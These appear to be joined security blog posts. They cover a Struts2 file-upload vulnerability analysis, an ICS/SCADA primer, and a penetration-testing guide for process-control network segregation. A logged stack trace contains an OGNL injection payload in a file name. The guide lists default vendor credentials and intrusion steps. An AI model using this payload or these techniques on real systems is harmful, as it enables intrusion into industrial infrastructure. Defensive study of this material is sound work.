[..snip..]

2017-03-24 15:21:29,729 WARN  [qtp1168849885-26] multipart.JakartaMultiPartRequest (JakartaMultiPartRequest.java:82) - Unable to parse request
org.apache.commons.fileupload.InvalidFileNameException: Invalid file name: a\0${(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Struts-Exploit-Test','GDSTEST'))}
	at org.apache.commons.fileupload.util.Streams.checkFileName(Streams.java:189) ~[commons-fileupload-1.3.2.jar:1.3.2]
	at org.apache.commons.fileupload.disk.DiskFileItem.getName(DiskFileItem.java:259) ~[commons-fileupload-1.3.2.jar:1.3.2]
	at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.processFileField(JakartaMultiPartRequest.java:105) ~[struts2-core-2.5.10.jar:2.5.10]
	at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.processUpload(JakartaMultiPartRequest.java:96) ~[struts2-core-2.5.10.jar:2.5.10]
	at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.parse(JakartaMultiPartRequest.java:67) [struts2-core-2.5.10.jar:2.5.10]
	at org.apache.struts2.dispatcher.multipart.MultiPartRequestWrapper.(MultiPartRequestWrapper.java:86) [struts2-core-2.5.10.jar:2.5.10]
	at org.apache.struts2.dispatcher.Dispatcher.wrapRequest(Dispatcher.java:806) [struts2-core-2.5.10.jar:2.5.10]

As you can see by looking at the stacktrace, control flow diverges in the processUpload method of the JakartaMultiPartRequest class. Instead of an exception being thrown when calling the parseRequest method on line 91, an exception is thrown when calling the processFileField method and getting the name of a file item on line 105.

core/src/main/java/org/apache/struts2/dispatcher/multipart/JakartaMultiPartRequest.java:
90:      protected void processUpload(HttpServletRequest request, String saveDir) throws FileUploadException, UnsupportedEncodingException {
91:          for (FileItem item : parseRequest(request, saveDir)) {
92:              LOG.debug("Found file item: [{}]", item.getFieldName());
93:              if (item.isFormField()) {
94:                   processNormalFormField(item, request.getCharacterEncoding());
95:              } else {
96:                  processFileField(item);
97:              }
98:          }
99:      }
[..snip..]
101:     protected void processFileField(FileItem item) {
102:         LOG.debug("Item is a file upload");
103: 
104:         // Skip file uploads that don't have a file name - meaning that no file was selected.
105:         if (item.getName() == null || item.getName().trim().length() < 1) {
106:             LOG.debug("No file has been uploaded for the field: {}", item.getFieldName());
107:             return;
108:         }
109: 
110:         List<FileItem> values;
111:         if (files.get(item.getFieldName()) != null) {
112:             values = files.get(item.getFieldName());
113:         } else {
114:             values = new ArrayList<>();
115:         }
116: 
117:         values.add(item);
118:         files.put(item.getFieldName(), values);
119:     }

Takeaways

One takeaway I had from this research is that you can’t always rely on reading CVE descriptions to understand how a vulnerability works. The reason this vulnerability was ever possible was because the file upload interceptor attempted to resolve error messages using a potentially dangerous function that evaluates OGNL. The elimination of this possibility is what lead to a successful patching of this vulnerability. Therefore this is not a problem with the Jakarta request wrapper, as the CVE description implies, but with the file upload interceptor trusting that exception messages will be free of user input.

Another takeaway I had reinforced the idea that you can’t rely on using known attack signatures to block exploitation at the web application firewall level. For example, if a web application firewall were configured to look for OGNL in the content-type header, it would miss the additional attack vector explained in this post. The only reliable way to eliminate vulnerabilities like this one is to apply available patches, either manually or by installing updates.

Since coming into use in the late 1960s, Industrial Control Systems (ICSs) have become prevalent throughout all areas of industry and modern life. Whether in utilities, energy, manufacturing or a myriad of other applications, industrial control systems govern much of our lives.

From the invention of the Modular Digital Controller in 1968 until the mid-1990s, ICS networks were almost always isolated, operating with very limited input or output from outside sources. With the rise of cheap hardware, Microsoft Windows, Active Directory and standardization, corporate networks now receive and process data as well as fine-tune operations from networks outside of the traditional ICS network. While significant effort to ensure segmentation between IT (information technology) and OT (operational technology) networks in modern environments is occurring, the blurring of the lines between IT and OT networks has resulted in a security headache for many industries.

ICS vs. SCADA

While the terms Industrial Control Systems and Supervisory Control And Data Acquisition (SCADA) are often used interchangeably, an important distinction between the two exists. ICS is the name given to the broader category of technology, where SCADA is a subcategory of ICS.  Examples of ICS subcategories include:

Distributed Control Systems (DCS)

• Offers real-time monitoring and control over processes.
• Typically several components are located within a geographically small distance such as an oil refinery, coal plant, hydroelectric dam, etc. DCS are usually contained within the four walls of a building.

Programmable Logic Controllers (PLC)

• Typically, ruggedized computers that are the brains of smaller moving parts in a given process control system.

Supervisory Control And Data Acquisition (SCADA)

• Acts as a manager of sorts.
• Supervisory servers do not typically make decisions.
• Supervisory servers typically relay commands from other systems or human operators.

Historians

• Collect and store data regarding process statistics, sensor readings, inputs/outputs and other measures.
• May be required for regulatory purposes.
• Typically data is stored in a database such as MSSQL or Oracle.

Human Machine Interface (HMI)

• HMIs are ‘pretty pictures’ allowing a process engineer to monitor an entire ICS system, at a glance.
• Usually features graphics of various pumps, relays and data flows.

Remote Terminal Unit (RTU)

• Small, ruggedized computers that collect and correlate data between physical sensors and ICS processes.

Adding additional complexity to ICS environments are the many different communications protocols in use. Examples of both common and proprietary protocols implemented in ICS environments include:

• ANSI X3.28
• BBC 7200
• CDC Types 1 and 2
• Conitel 2020/2000/3000
• DCP 1
• DNP3
• Gedac 7020
• ICCP Landis & Gyr 8979
• Modbus
• OPC
• ControlNet
• DeviceNet
• DH+
• ProfiBus
• Tejas 3 and 5
• TRW 9550

Typical ICS architecture

When designing ICS environments, high availability, regulatory requirements and patching challenges can significantly constrain design choices. In order to fit into the necessary restrictions, most ICS environments tend to follow the following three tiered structure:

At the uppermost level, the HMIs and SCADA servers oversee and direct the lower levels, either based upon a set of inputs or a human operator. Typically data from the SCADA servers is gathered by the HMI, then displayed to engineering workstations for ICS engineers’ consumption.

The middle layer typically collects and processes from inputs and outputs between layers. The devices performing at this layer, known as Field Controllers, include programmable logic controllers (PLCs), intelligence electronic devices (IEDs) and remote terminal units (RTUs). Field Controllers can coordinate lower level actions based upon upper level directions, or send process data and statistics about the lower level to the upper level.

At the lowest level, devices known as Field Devices are responsible for the moving parts and sensors directing the movement of pumps, robotic arms and other process-related machinery. Additionally, they typically include various sensors to monitor processes and pass data along to the middle layer (i.e. Field Controllers) for data processing.

Communication links between the layers are often required in ICS environments and this communication typically utilizes different protocols. Communication between the SCADA server located in the upper layer and Field Controllers in the middle layer typically utilize common protocols such as DNP3 or Modbus. For communication between Field Controllers and lower level Field Devices, commonly used protocols include HART, Foundation Fieldbus and ProfiBus.

Although designing networks that meet the ICS requirements can be challenging, organizations with ICS typically achieve this by having three zones in their infrastructure:

Enterprise Zones contain the typical corporate enterprise network. In this network are standard corporate services such as email, file/print, web, ERP, etc. In this zone all of the business servers and employee workstations reside.

The ICS demilitarized zones (DMZs) typically allow indirect access to data generated by the ICS system. In this zone there are typically the secondary Historian, as well as some web and terminal applications.

Finally, the Process Control Zones are where the three layers of ICS systems reside. This zone should be inaccessible from the Enterprise Zone and limited to read-only access from the HMIs and SCADA servers.

ICS and Risk

ICS technology was originally designed without consideration of authentication, encryption, anti-malware tools, firewalls or other defense mechanisms. The lack of such considerations influences how these systems are designed and operated. For example, one of the traditional IT risk mitigation strategies is the timely application of security patches to vulnerable systems. While traditional IT systems can absorb downtime, most ICS systems incur significant costs in loss of production preventing them from being patched on a routine basis. Additionally, unlike traditional IT systems, a failed update on an ICS device could have catastrophic consequences such as contaminated food, blackouts, severe injury, or death.

While a determined attacker may gain direct access to the ICS environment via social engineering or physical attacks, it’s more likely they will pivot from the corporate network leveraging trusted network connections to SCADA servers and HMIs. Even if the attacker doesn’t manage to exfiltrate sensitive data or perform sensitive actions, the fines, investigations and regulatory reprisals generated with a breach to the ICS environment could prove financially catastrophic for organizations. The following are real-world ICS incidents and attacks:

• In 1982, it is rumored the CIA introduced a piece of malicious software into a Soviet gas pipeline in Siberia that was responsible for the largest non-nuclear explosion ever recorded. (http://www.telegraph.co.uk/news/worldnews/northamerica/usa/1455559/CIA-plot-led-to-huge-blast-in-Siberian-gas-pipeline.html)
• In March of 1997, a Massachusetts teenager shut down the Worcester, MA airport by crashing its distributed phone system, main & backup radio transmitters and a printer used to monitor flight progress. (http://www.cnn.com/TECH/computing/9803/18/juvenile.hacker/index.html)
• In the Spring of 2000, Vitek Boden, a disgruntled Australian SCADA engineer at Maroochy Water Services intentionally caused 800,000 liters of raw sewage to spill into local parks, rivers and even the grounds of a Hyatt Regency hotel.
  (http://csrc.nist.gov/groups/SMA/fisma/ics/documents/Maroochy-Water-Services-Case-Study_report.pdf)
• On January 25th, 2003  the SQL Slammer worm caused a safety monitoring system at the Davis-Besse nuclear power plant in Ohio to go offline for nearly five hours. (http://www.securityfocus.com/news/6767)
• In 2007 at Idaho Falls National Laboratory, the Aurora generator test was conducted to demonstrate how a simple python script can cause physical hardware components in an electric generator to fall out of sync, causing massive physical damage.  (https://www.youtube.com/watch?v=fJyWngDco3g)
• In 2008 a Polish teenager demonstrated risks to field devices, in this case rail switches, when he used a repurposed TV remote to transmit commands to his city’s rail systems, causing several derailments. (https://www.wired.com/2008/01/polish-teen-hac/)
• In 2010 possibly the most widely known ICS attack occurred at the Natanz nuclear facility in Iran. The malware, eventually named STUXNET, was found to be the most sophisticated ICS malware ever discovered. The malware specifically targeted the PLCs and HMIs associated with the centrifuges used to create fissile nuclear materials.
  (https://www.wired.com/2014/11/countdown-to-zero-day-stuxnet/)
• In 2014, an unidentified German steel mill sustained damage due to a cyberattack on their ICS network that prevented the mill’s blast furnace from shutting down properly. (https://www.wired.com/2015/01/german-steel-mill-hack-destruction/)
• On December 23, 2015 attackers cut power to at least seven 110 kV and twenty three 35kV substations operated by Ukraine’s Prykarpattya Oblenergo and Kyivoblenergo utilities. This attack on their SCADA system cut power to 80,000 customers for six hours. (http://www.theregister.co.uk/2016/01/15/malware_clearly_behind_ukraine_power_outage_sans_utility_expert_says/)

Although attacks like STUXNET may seem like an easy way to cause mayhem and destruction, several special considerations should be taken into account when attacking ICS:

• If an attacker can intercept and modify data between Field Devices and Field Controllers, it is possible to feed false data back to HMIs. The HMI will present inaccurate data causing the human operators to make potentially dangerous changes based on this inaccurate data. Proof of a successful man-in-the-middle attack that alters data like this will likely top the list of critical findings.
• Many Field Controllers require no authentication, allowing commands to be issued by any system on the network. Leveraging tools such as Scapy, Modbus or DNP3 packets can be crafted with ease.
• IT knowledge, when combined with process knowledge, can be leveraged to cause specific kinetic impacts through cyber means; that is the key to the ‘big boom’ Hollywood scenarios. A Proof of Concept attack demonstrating an attack like this will make for a 5-star report.

In our next blog post we’ll walk through a typical ICS/SCADA security assessment, including a description of each of the major phases, what to look out for, and common issues and misconfigurations we’ve seen in the field.

It’s no secret that the devices that comprise process control systems are generally vulnerable to attack. This point has been made through endless research and has even been the subject of countless talks and trainings. Unfortunately, the personnel responsible for securing these networks often face significant challenges, most notably the difficulty in ensuring that devices and systems are configured securely and regularly patched without interrupting the process. In addition to this, security personnel often struggle in vain to sell the idea of security to the people in charge of the process who sometimes view security as more of an unnecessary burden, especially at lower layers of the process control network. In response to this, most of the focus has been placed on network segregation and establishing secure enclaves for sensitive process control systems. In this way, more effort can be placed on securing the barriers between the corporate network and SCADA / process control networks and enforcing tight access controls. In turn, many of the process control system assessments we’ve worked on have been almost entirely focused on determining the adequacy of network segregation efforts.

In spite of the importance of properly implemented network segregation and the interest in segregation testing, there isn’t too much information out there on performing them. The content of this blog post will detail some of the common gaps in network segmentation that we’ve seen during previous assessments. Hopefully, this information will help penetration testers who are looking to get into process control system assessments as well as give process security personnel an idea what attackers are looking for when trying to gain access to lower layers of the process control network from the corporate network.

As a general rule, network segregation assessments are performed from the perspective of an attacker that has already managed to compromise the corporate network in order to mimic real-world attack scenarios. Typically, this means either providing domain administrator access or performing the segregation assessment in conjunction with a penetration test of the corporate network.

The network segregation testing process typically follows the procedure outlined below:

• Information Gathering
• Entry point Identification
• Segregated Network Access

Information Gathering

The process of information gathering centers around identifying any unprotected process control network-related information on the corporate network. This information can reveal intricate details about the process control network that can help an attacker gain access. Typically, this includes the following:

• Process-Related Personnel – Key people such as process engineers, operators, and process IT personnel are usually privy to a great deal of sensitive information related to the process control network. Searching Active Directory for employees that fall under the aforementioned roles can help to identify their workstation hostnames as well as any network shares they may have access to. This can help narrow down the information gathering process and reduce the overall amount of effort required to gain access to the process control network since focus can be placed on those hosts and shares.
• Network Diagrams and Design Documentation – This information can help an attacker understand the process control network at a fundamental level and provide hostnames and IP addresses that can serve as the basis for further information gathering. Moreover, network documentation may give an attacker a clear picture of the process control network, aiding them in deciding on which hosts to attack. After identifying corporate network file servers and information repositories like SharePoint, network documentation can typically found by searching for VSD, PDF, and DOC / DOCX files in directories or shares related to process IT.
• Process Control Network Documentation – This can include details on official remote access procedures, instructions on how to login to process-related hosts, and information on the technology in use (both operational and non-operational). In many cases, extremely sensitive information such as usernames and passwords are included in this documentation, making it invaluable on a segregation assessment. This documentation can also be found in process IT shares and directories as well as occasionally inside of process-related shares and directories.
• Network Device and System Backups – Firewall, router, and switch configuration files that are backed up on the corporate network can often serve as a road map for identifying a path to gain access to the process control network. Reviewing network device configurations can reveal which hosts on the corporate network are permitted access through remote access protocols such as RDP, VNC, or SSH. If backups of systems on the process control network can be found on the corporate network, they can be easily analyzed to extract password hashes and other sensitive data. This information can often be retrieved from IT management or network backup software as well as corporate and process IT network shares.

Entry point Identification

One of the key pieces of information that should be obtained from the information gathering phase is the existence of any entry points into the process control network from the corporate network. Process control networks are rarely completely air gapped due to the fact that they may be located in remote or unfavorable working environments. As a result, remote access is a popular solution for managing devices and systems in the process control network. The following entry points can be found in most situations:

• Jump Box / Terminal Server – Access to the process control network from the corporate network is often permitted through a host that serves as a jump box. Usually a remote access protocol such as RDP, VNC, or SSH is used, although desktop virtualization software such as Citrix is occasionally employed instead. More security-conscious organizations tend to use remote access solutions that support multi-factor authentication.
  Official procedures for remote access to the process control network can usually be found in documentation. Jump boxes or terminal services can also be identified from analyzing network diagrams or firewall configuration files for hosts that permit connections from the corporate network over typical remote access ports. Observation of process-related personnel’s corporate network workstations can oftentimes be an effective means of identifying the jump box and remote access protocol in use.
• VPN Access – Select users, usually process-related personnel, can be granted VPN access directly into the process control network for remote management purposes. Similarly to remote access through jump boxes, multi-factor authentication may be employed to help thwart attacks against the process control network.
  These users can sometimes be identified by an AD group created specifically for VPN users. Looking at the names and descriptions of groups where key process-related personnel are members is usually an effective means of identifying the process VPN group. Workstations of users in the process VPN group should be investigated for VPN interfaces or software as well as active connections into the process control network. These workstations can effectively be used as a bridge into the process control network.
• Dual-Homed Hosts – In a typical process control network, several hosts on the corporate network may configured to be either dual homed or with extensive firewall rules that permit access into the process control network. Historian servers often fall under this category, due to the need to use process data for performance monitoring and improvement purposes on the corporate network. Gaining access to these hosts can often provide direct access into the process control network without having to use official remote access procedures. Even if historians are not provided extensive access into the process control network, observing their active network connections can reveal target IP address ranges.

The most reliable way to identify historians is to analyze network documentation and diagrams. Barring this, it’s not uncommon to find them by analyzing server hostnames (“HI”, “HIS”, or “HIST” are pretty widely-used naming conventions, for example). They may also be found through port scanning, although this can be a difficult task given the fact that there is little port standardization between vendors. However, many organizations with process control networks use OSISoft PI servers as historians, which can sometimes be identified by scanning for ports that are commonly associated with the software (https://techsupport.osisoft.com/troubleshooting/kb/2820osi8). In general, if the process control system vendor is known or discovered through reconnaissance, publicly-available vendor documentation should be researched for commonly-used ports to scan for on the corporate network.

Another effective method of discovering dual-homed hosts is sweeping across the corporate network using some form of remote command execution, such as WMI or PSExec, and extracting active network connections, network interfaces, and routing tables. This data can then be searched for any hosts that appear to have access to the process control network. However, this method is noisy, time-consuming, and can produce an excessive amount of information to parse through, especially on larger networks. Additionally, the IP address ranges used by the target process control network would have to be known in order to make this technique more feasible.

Segregated Network Access

With a list of potential entry points into the process control network, the next step is to investigate each entry point to determine how it might be possible to leverage common security issues in order to gain access to the process control network. The following issues are typically observed when conducting process control network segmentation tests:

• Insecure Password Practices – Passwords are a significant issue for personnel put in charge of managing the security of process control networks for multiple reasons. Most notably, it is difficult to encourage engineers and other users with access to the process control network to engage in secure password practices. Password reuse between the corporate network and process control network is extremely common since users are typically unwilling to manage multiple sets of credentials and feel that the risk of an attacker gaining access is small. After compromising the corporate network, the passwords for key process-related personnel should be cracked or obtained so they can be used for logon attempts on process control network entry points.
  
  Default or weak credentials are also very common. This is usually because these passwords are set by default as part of the vendor’s provided solution and never changed in order to avoid issues with deviating from the vendor’s default configuration. Oftentimes usernames and passwords will be the same (operator : operator, manager : manager, supervisor : supervisor are common examples) or some variation of the vendor’s name (Administrator : siemens as another example).
  
  To make matters worse, password lockout policies on operational technology is usually lax. The reasoning for this is to prevent accidental lockouts from causing issues with the process, which is generally a good idea. However, this provides attackers a lot of leeway for brute forcing credentials. This issue in combination with the prevalence of default, weak, or shared credentials makes password guessing attacks extremely viable for gaining access to the process control network.
• Process Control Network Credentials Stored in Plaintext – Credentials for operational technology are often included in documentation. Any repositories for process control network documentation should have been enumerated as part of the information gathering phase of a segmentation assessment. Any documentation found in these repositories should be searched for passwords that can be used on entry-points.
• Corporate Network Domain is Extended into Process Control Network – In cases where there are dual-homed hosts or workstations with VPN access on the corporate network, it is fairly common for these hosts to be joined to the corporate network’s Active Directory domain. Because of this, it is often possible to be able to access these hosts directly using highly-privileged Active Directory accounts from the corporate network such as Domain Administrators. More security-minded organizations may have taken the extra step of limiting access to these hosts to only specific users or groups. However, having compromised the corporate network, it is a relatively simple task to locate users of interest on the corporate network and extract their passwords from memory.
• Exposed Vulnerable Services – Entry-points can often have additional services such as databases or web applications that can be vulnerable to common attacks. Any hosts with access to the process control network should be scanned thoroughly to identify exposed services. These services should then be probed to find new vulnerabilities or researched to find publicly-available vulnerabilities or common misconfigurations that could lead to compromising the host.

Easy Wins/Should Not Ever Happen

If you are ever conducting a pentest against ICS infrastructure, the following are findings that should immediately be written up as critical:

• Modbus/DNP3 traffic on corporate network
• HMIs accessible from the corporate network as not read-only
• NMAPing a nuclear reactor causes a meltdown.

Hopefully, that last scenario NEVER happens, but if it does, write it up and move on.

Conclusion

Despite the fact that the world around us depends upon ICS technologies, interacting with and securing them still has a large gap in knowledge for both the public and the information security community.  It is our hope that these blog posts have proved insightful and can help move the conversation forward.